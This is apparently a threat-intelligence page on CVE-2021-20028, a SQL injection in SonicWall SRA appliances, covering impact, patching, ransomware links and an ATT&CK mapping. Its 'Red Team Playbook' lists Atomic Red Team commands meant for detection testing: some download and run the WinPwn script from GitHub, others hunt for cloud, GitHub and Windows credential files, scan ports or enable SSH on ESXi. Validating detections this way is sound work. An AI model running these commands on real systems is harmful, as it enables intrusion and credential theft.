CVE-2021-20028

CRITICAL CISA KEV Pub 04/08 Upd 21/10

Overview

This vulnerability is a SQL Injection flaw caused by improper neutralization of SQL commands within the SonicWall Secure Remote Access (SRA) appliances. The root cause lies in insufficient input validation and sanitization of user-supplied data in the backend database queries. The affected components are the SRA appliances running firmware versions 8.x and 9.0.0.9-26sv or earlier, which improperly handle SQL commands in their authentication or request processing modules.

Vulnerability Description

Improper neutralization of a SQL Command leading to SQL Injection vulnerability impacting end-of-life Secure Remote Access (SRA) products, specifically the SRA appliances running all 8.x firmware and 9.0.0.9-26sv or earlier

Impact

An unauthenticated attacker can exploit this SQL Injection vulnerability to execute arbitrary SQL commands on the backend database of SonicWall SRA appliances. This enables extraction, modification, or deletion of sensitive authentication data and configuration information. Successful exploitation can lead to full compromise of the appliance, allowing attackers to bypass access controls, obtain administrative credentials, and move laterally within the network. No prior authentication or user interaction is required, increasing the risk of widespread exploitation and data breaches.

Solution

SonicWall has issued an advisory (SNWLID-2021-0017) recommending immediate upgrade of affected SRA appliances to firmware versions later than 9.0.0.9-26sv. Users should apply the latest patches provided by SonicWall for SMA 210, SMA 410, SMA 500v, SRA 4600, and SRA 1600 models. Detailed patch instructions and version-specific updates are available at https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0017. No workarounds are officially recommended; timely firmware upgrade is essential to mitigate this vulnerability.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in question arises from improper neutralization of SQL commands, leading to a significant SQL injection risk in specific end-of-life Secure Remote Access (SRA) products. This flaw affects appliances running firmware versions 8.x and 9.0.0.9-26sv or earlier. SQL injection vulnerabilities occur when an application improperly validates or sanitizes user input, allowing an attacker to manipulate SQL queries executed by the database. In this case, the affected SRA products can be exploited to execute arbitrary SQL commands, potentially exposing sensitive data or allowing unauthorized access to the system.

Attack vectors for this vulnerability are varied and can be executed remotely, making it particularly dangerous. An attacker could craft malicious input that is processed by the vulnerable SQL queries, leading to unauthorized data retrieval, modification, or even deletion. Exploitation scenarios may include accessing user credentials, sensitive configuration data, or other critical information stored within the database. Given the nature of remote access appliances, an attacker could gain foothold into an organization's network, escalating privileges and compromising additional systems. The ease of exploitation, combined with the potential for significant data breaches, underscores the severity of this vulnerability.

The real-world impact of this vulnerability can be profound, particularly for organizations relying on the affected SRA products for secure remote access. The risk extends beyond mere data exposure; it can lead to financial losses, reputational damage, and regulatory penalties if sensitive information is compromised. Organizations may face operational disruptions as they scramble to mitigate the effects of an attack or to respond to regulatory inquiries. Furthermore, the end-of-life status of these products means that users may not receive timely updates or patches, exacerbating the risk and leaving systems vulnerable to ongoing exploitation.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, regular vulnerability assessments and penetration testing can help identify potential weaknesses in their systems. Monitoring for unusual database activity can also serve as an early warning system for exploitation attempts. Organizations should prioritize upgrading or replacing affected appliances with supported versions that have addressed this vulnerability. Additionally, employing web application firewalls (WAFs) can provide an additional layer of defense by filtering and monitoring HTTP requests, potentially blocking malicious input before it reaches the database.

In conclusion, the SQL injection vulnerability in specific Secure Remote Access products poses a significant threat to organizations that rely on these systems for secure connectivity. With the potential for severe consequences, including data breaches and operational disruptions, it is critical for organizations to take proactive measures to detect and mitigate this risk. By understanding the nature of the vulnerability, recognizing the attack vectors, assessing the real-world impact, and implementing robust detection and mitigation strategies, organizations can better protect themselves against the threats posed by this and similar vulnerabilities.




CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2021-20028, with telemetry indicating a doubling in detection frequency over recent monitoring periods. This uptick, while still limited in absolute terms, signals increased adversary interest and potential preparatory actions for broader exploitation campaigns. The persistence of ransomware groups such as Sinobi in association with this vulnerability underscores its continued attractiveness as a vector for intrusion and post-compromise operations. Although no new exploit variants have surfaced, the elevated detection trend heightens the urgency for defenders to maintain vigilant monitoring and reinforces the criticality of addressing this vulnerability in legacy Secure Remote Access deployments. Consequently, the threat level should be considered elevated from moderate to high, reflecting the growing likelihood of exploitation attempts that could lead to significant operational and data security impacts.



Update 2 — May 15, 2026

CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2021-20028, with telemetry indicating a sustained increase in exploitation attempts targeting legacy Secure Remote Access appliances. This upward trend is corroborated by a rising EPSS score, now approaching the upper percentile range, signaling heightened attacker interest and potential for successful compromise. The persistence of ransomware groups such as Sinobi in campaigns leveraging this vulnerability further amplifies its operational relevance. Although no novel exploit variants have been identified, the intensification of detection events underscores an evolving threat environment where adversaries continue to probe and exploit known weaknesses in end-of-life firmware. For defenders, this development signifies an elevated risk posture, necessitating increased vigilance in monitoring and response activities. Consequently, the threat level associated with CVE-2021-20028 should be reassessed as high, reflecting the growing probability of impactful exploitation that could disrupt critical infrastructure and data integrity.



Update 3 — May 23, 2026

CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2021-20028, with telemetry indicating a significant uptick in exploitation attempts targeting vulnerable SonicWall SRA appliances. Although the EPSS score shows a slight decline, the overall detection trend reflects increased adversary interest, particularly from ransomware-linked groups such as Sinobi. This resurgence in probing and exploitation attempts against end-of-life firmware underscores a persistent and evolving threat landscape where attackers continue to leverage this critical SQL injection vulnerability. For defenders, the heightened activity signals an increased likelihood of successful compromise, elevating the operational risk associated with unpatched or unsupported SRA devices. Consequently, the threat level for CVE-2021-20028 warrants reassessment to reflect a sustained high risk, emphasizing the need for ongoing situational awareness despite the absence of new exploit variants.

Affected Products (6)

Vendor Product Version CPE
sonicwall Sonicwall Sma 210 Firmware All cpe:2.3:o:sonicwall:sma_210_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Sma 410 Firmware All cpe:2.3:o:sonicwall:sma_410_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Sma 500v Firmware All cpe:2.3:o:sonicwall:sma_500v_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Sra 4600 Firmware All cpe:2.3:o:sonicwall:sra_4600_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Sra 1600 Firmware All cpe:2.3:o:sonicwall:sra_1600_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Sra Va Firmware All cpe:2.3:o:sonicwall:sra_va_firmware:*:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

14 events
2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by sinobi

Ransomware group known to exploit this vulnerability (274 known victims)

2026-04-05
Exploited by sinobi

Ransomware group known to exploit this vulnerability (274 known victims)

2022-03-28
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

SQL Injection
100% sql_injection
Remote Code Execution
35% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-108 Command Line Execution through SQL Injection
49%
Low Very High
CAPEC-109 Object Relational Mapping Injection
49%
Low High
CAPEC-7 Blind SQL Injection
48%
High High
CAPEC-110 SQL Injection through SOAP Parameter Tampering
46%
High Very High
CAPEC-66 SQL Injection
46%
High High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2021-20028
psirt.global.sonicwall.com
GitHub CVE x_refsource_CONFIRM
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0017
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-20028